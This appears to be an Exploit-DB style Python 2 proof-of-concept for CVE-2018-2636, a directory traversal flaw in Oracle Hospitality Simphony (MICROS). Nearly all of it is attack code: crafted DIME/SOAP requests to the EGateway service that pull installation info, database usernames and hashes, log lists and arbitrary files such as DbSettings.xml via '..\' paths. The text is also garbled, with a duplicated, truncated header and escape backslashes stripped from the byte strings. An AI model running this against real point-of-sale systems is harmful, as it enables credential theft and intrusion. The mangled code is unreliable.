# Exploit Title: Oracle Hospitality Simphony (MICROS) directory traversal
# Date: 30.01.2018
# Exploit Author: Dmitry Chastuhin (https://twitter.com/_chipik)
# Vendor Homepage: http:// # Exploit Title: Oracle Hospitality Simphony (MICROS) directory traversal
# Date: 30.01.2018
# Exploit Author: Dmitry Chastuhin (https://twitter.com/_chipik)
# Vendor Homepage: http://www.oracle.com/
# Version: 2.7, 2.8 and 2.9
# Tested on: Win, nix
# CVE : CVE-2018-2636


#!/usr/bin/env python

# https://twitter.com/_chipik
# Sorry for bad code practises. This is just a PoC, don't blame us very hard A-\_(a)_/A-
import requests
import argparse
import unicodedata


def rm_right(str):
rez=""
k=0
for i in range(len(str)):
rez = rez + str[k:k+2]
k=k+4
return rez


def add_right(str,char):
rez=""
k=0
for i in range(len(str)/2):
rez= rez + str[k:k+2]+char
k=k+2
return rez


def rm_left(str):
rez=""
k=2
for i in range(len(str)):
rez = rez + str[k:k+2]
k=k+4
return rez


def add_left(str,char):
rez=""
k=0
for i in range(len(str)/2):
rez= rez + char + str[k:k+2]
k=k+2
return rez


def send(data,dos=0):
if args.verb:
print "[DBG] "+data.encode("hex")
if dos:
try:
r = requests.post(base_uri, headers=headers, data=data, timeout=0.001)
except:
return
else:
r = requests.post(base_uri, headers=headers, data=data)
if r.status_code == 200:
if args.verb:
print "[DBG] HEX:"
print unicodedata.normalize('NFKD', r.text).encode('ascii','ignore').encode("hex")
print " [DBG] RAW: "+r.text
print ""
return unicodedata.normalize('NFKD', r.text).encode('ascii','ignore')
else:
print "[DBG] status code: %d" % r.status_code
print "[DBG] text : %s" % repr(r.text)


def calculate_len(filename):
len2 = (len(filename)+8)/2
len1 = len2 + 8
len0 = len1 + 124
if args.verb:
print "len2="+str('{0:02x}'.format(len2))
print "len1="+str('{0:02x}'.format(len1))
print "len0="+str('{0:04x}'.format(len0))
return str('{0:04x}'.format(len0)),str('{0:02x}'.format(len1)),str('{0:02x}'.format(len2))


def cli_info():
print "[*] Let's get info about server"
poc_pref='x0cx20x00x00x00x10x00x29x00x00x01x38x55x56x51x50x70x39x78x7ax66x69x70x56x53x6ex4cx75x68x74x74x70x3ax2fx2fx73x63x68x65x6dx61x73x2ex78x6dx6cx73x6fx61x70x2ex6fx72x67x2fx73x6fx61x70x2fx65x6ex76x65x6cx6fx70x65x2fx00x00x00'
poc_body='<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><ProcessDimeRequest xmlns="http://micros-hosting.com/EGateway/" /></soap:Body></soap:Envelope>'
poc_suf1='x0ax10x00x00x00x10x00x18x00x00x00x84x55x56x51x50x70x39x78x7ax66x69x70x56x53x6ex4cx75x61x70x70x6cx69x63x61x74x69x6fx6ex2fx6fx63x74x65x74x2dx73x74x72x65x61x6dx01xe1x1ex02x00x00x00x36x00x00x00x3cx00x53x00x49x00x2dx00x53x00x65x00x63x00x75x00x72x00x69x00x74x00x79x00x20x00x56x00x65x00x72x00x73x00x69x00x6fx00x6ex00x3dx00x22x00x32x00x22x00x20x00x2fx00x3ex00x58x52x00x00x00x00x00x00x00x00x00x00x01xc1x1cx01x00x00x00x01xd1x1dxb8x58x00x00xb1x36x00x00x01x00x00x00x00x00x00x00x00x00x00x00x1ex00x00x00x08x00x00x00x00x00x00x00x00x00x00x00x1dxd1x02x1cxc1x02x1exe1x02'
poc = poc_pref+poc_body+poc_suf1
full_rez = send(poc)
return full_rez


def cli_dbinfo():
print "[*] Let's get DB creds"
poc_pref='x0cx20x00x00x00x10x00x29x00x00x01x38x55x56x51x50x70x39x78x7ax66x69x70x56x53x6ex4cx75x68x74x74x70x3ax2fx2fx73x63x68x65x6dx61x73x2ex78x6dx6cx73x6fx61x70x2ex6fx72x67x2fx73x6fx61x70x2fx65x6ex76x65x6cx6fx70x65x2fx00x00x00'
poc_body='<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><ProcessDimeRequest xmlns="http://micros-hosting.com/EGateway/" /></soap:Body></soap:Envelope>'
poc_suf1='x0ax10x00x00x00x10x00x18x00x00x00xa0x73x71x33x49x71x35x50x54x74x66x32x6bx42x73x53x48x61x70x70x6cx69x63x61x74x69x6fx6ex2fx6fx63x74x65x74x2dx73x74x72x65x61x6dx01xe1x1ex02x00x00x00x36x00x00x00x3cx00x53x00x49x00x2dx00x53x00x65x00x63x00x75x00x72x00x69x00x74x00x79x00x20x00x56x00x65x00x72x00x73x00x69x00x6fx00x6ex00x3dx00x22x00x32x00x22x00x20x00x2fx00x3ex00xbdx8cx00x00x00x00x00x00x00x00x00x00x01xc1x1cx01x00x00x00x01xd1x1dx88x96x00x00x35x53x00x00x01x00x00x00x00x00x00x00x00x00x00x00x1ex00x00x00x24x00x00x00x0dx00x44x62x49x6ex66x6fx52x65x71x75x65x73x74x01x00x00x00x01x00x06x00x6dx53x70x61x72x65x08x00x00x00x00x00x00x1dxd1x02x1cxc1x02x1exe1x02'
poc = poc_pref+poc_body+poc_suf1
full_rez = send(poc)
return full_rez


def cli_log_list():
print "[*] Let's get log list"
poc = "0c200000001000290000013872663850506e79467478667275366577687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f0000003c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d227574662d38223f3e3c736f61703a456e76656c6f706520786d6c6e733a736f61703d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220786d6c6e733a7873693d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e63652220786d6c6e733a7873643d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d61223e3c736f61703a426f64793e3c50726f6365737344696d655265717565737420786d6c6e733d22687474703a2f2f6d6963726f732d686f7374696e672e636f6d2f45476174657761792f22202f3e3c2f736f61703a426f64793e3c2f736f61703a456e76656c6f70653e0a100000001000180000008e72663850506e794674786672753665776170706c69636174696f6e2f6f637465742d73747265616d01e11e02000000360000003c00530049002d00530065006300750072006900740079002000560065007200730069006f006e003d0022003200220020002f003e00a5980000000000000000000001c11c0100000001d11d98a20000b13600000100000000000000000000001e00000012000000050000000a000000240024006c006f0067001dd1021cc1021ee1020000"
full_rez = send(poc.decode("hex"))
return full_rez


def cli_read_log(filename):
log2="log\"+filename
print "[*] Let's read %s" % log2
log = add_left(log2.encode("hex"),"00")
poc_pref='x0cx20x00x00x00x10x00x29x00x00x01x38x55x56x51x50x70x39x78x7ax66x69x70x56x53x6ex4cx75x68x74x74x70x3ax2fx2fx73x63x68x65x6dx61x73x2ex78x6dx6cx73x6fx61x70x2ex6fx72x67x2fx73x6fx61x70x2fx65x6ex76x65x6cx6fx70x65x2fx00x00x00'
poc_body='<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><ProcessDimeRequest xmlns="http://micros-hosting.com/EGateway/" /></soap:Body></soap:Envelope>'
poc_suf_1_1='0A100000001000180000'
poc_suf_1_ses='66497a3263516c56444c35305045356e'
poc_suf_1_2='6170706C69636174696F6E2F6F637465742D73747265616D01E11E02000000360000003C00530049002D00530065006300750072006900740079002000560065007200730069006F006E003D0022003200220020002F003E00C2AF0000000000000000000001C11C0100000001D11D8EBA0000B13600000100000000000000000000001E000000'
poc_suf_1_len0, poc_suf_1_len1, poc_suf_1_len2 = calculate_len(log)
poc_suf_1_3='00000006000000'
poc_suf_1_4='000000240024'
poc_suf1=(poc_suf_1_1+poc_suf_1_len0+poc_suf_1_ses+poc_suf_1_2+poc_suf_1_len1+poc_suf_1_3+poc_suf_1_len2+poc_suf_1_4).decode("hex")
poc_logname = log.decode("hex")
if len(log2) % 2 == 1:
poc_suf2='001dd1021cc1021ee1020000'.decode("hex")
else:
poc_suf2='001dd1021cc1021ee102'.decode("hex")
poc = poc_pref+poc_body+poc_suf1+poc_logname+poc_suf2
full_rez = send(poc)
return full_rez


def cal_tst():
file = "ServiceHostPrereq2012SqlBootToDesktop.reg"
suf = file.encode('utf-16le')
print suf
pre = "x0c x00x00x00)x00)x00x00x04muuid:4382e7a6-607d-4392-b5df-d4b8bfcf4185x00x00x00http://schemas.xmlsoap.org/soap/envelope/x00x00x00"
xml = "<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/03/addressing" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"><soap:Header><wsa:Action>http://micros-hosting.com/EGateway/ProcessDimeRequest</wsa:Action><wsa:MessageID>uuid:12e52d09-38dc-4071-810d-7ced9a3bfd59</wsa:MessageID><wsa:ReplyTo><wsa:Address>http://schemas.xmlsoap.org/ws/2004/03/addressing/role/anonymous</wsa:Address></wsa:ReplyTo><wsa:To>http://172.16.2.207:8080/EGateway/EGateway.asmx</wsa:To><wsse:Security><wsu:Timestamp wsu:Id="Timestamp-dd366974-3fbb-4e40-b868-ef9303548245"><wsu:Created>2017-07-11T22:18:58Z</wsu:Created><wsu:Expires>2017-07-11T22:19:28Z</wsu:Expires></wsu:Timestamp></wsse:Security></soap:Header><soap:Body><ProcessDimeRequest xmlns="http://micros-hosting.com/EGateway/" /></soap:Body></soap:Envelope>"
suf_1 = "x00x00x00x0ax10x00x00x00)x00x18x00x00x00xf3uuid:d9706c6f-d103-45b2-9ca2-ec588dab1c7dx00x00x00application/octet-streamx01xe1x1ex02x00x00x00x00x00x00x00Nx1cx01x00x00x00x00x00x00x00x00x00x01xc1x1cx01x00x00x00x01xd1x1dMx1cx01x00kBx00x00x01x00x00x00x00x00x00x00x00x00x00x00x1ex00x00x00xadx00x00x00x01x00x00x002x00x00x00kBx00x00x00x00x00x00x03x01x04x8ax15x00x00x00x11x00x00x00x18x00x00x00Wx00ox00rx00kx00sx00tx00ax00tx00ix00ox00nx001x00\x00x00x00"
suf_2 = "x01xadfxd7x00x00x00x00x00x17tx00x00x8ex00x00x00x00x00x00x00x1dxd1x02x1cxc1x02x1exe1x02x00"
rez_S = suf_1+suf+suf_2
data =pre+xml+rez_S

print suf.decode('utf-16le')



if __name__ == '__main__':
parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('-H', '--host', default='127.0.0.1', help='host')
parser.add_argument('-P', '--port', default='8080', help='port')
parser.add_argument('-i', '--info', action='store_true', help='information about micros installation')
parser.add_argument('-d', '--dbinfo' ,action='store_true', help='information about micros db (usernames and hashes)')
parser.add_argument('-l', '--log', action='store_true', help='information about log files')
parser.add_argument('-s', '--ssl', action='store_true', help='enable SSL')
parser.add_argument('-r', '--read', help='read file from server (root dir is c:\. Ex.: windows\win.ini) Also u can use 1 - for SimphonyInstall.xml and 2 - for DbSettings.xml' )
parser.add_argument('-v', '--verb', action='store_true', default=0, help='verb')
args = parser.parse_args()
headers = dict()
if args.ssl:
base_uri = 'https://%s:%s%s' % (args.host, args.port, '/EGateway/EGateway.asmx')
else:
base_uri = 'http://%s:%s%s' % (args.host, args.port, '/EGateway/EGateway.asmx')

headers['SOAPAction'] = '"http://micros-hosting.com/EGateway/ProcessDimeRequest"'
headers['Content-Type']= 'application/dime'
headers['Expect'] = '100-continue'

if args.info:
results = cli_info()
if results.find('x00x55x00x6ex00x61x00x75x00x74x00x68x00x6fx00x72x00x69x00x7ax00x65x00x64') != -1:
print "[*] Your instance is not vulnerable to CVE-2018-2636"
else:
print "[!] Your instance is vulnerable to CVE-2018-2636"
print results
exit()
if args.dbinfo:
print cli_dbinfo()
exit()
if args.log:
print cli_log_list()
exit()
if args.read:
if args.read == "1":
print cli_read_log("..\..\..\SimphonyInstall.xml")
exit()
if args.read == "2":
print cli_read_log("..\DbSettings.xml")
exit()
else:
print cli_read_log(args.read)
exit()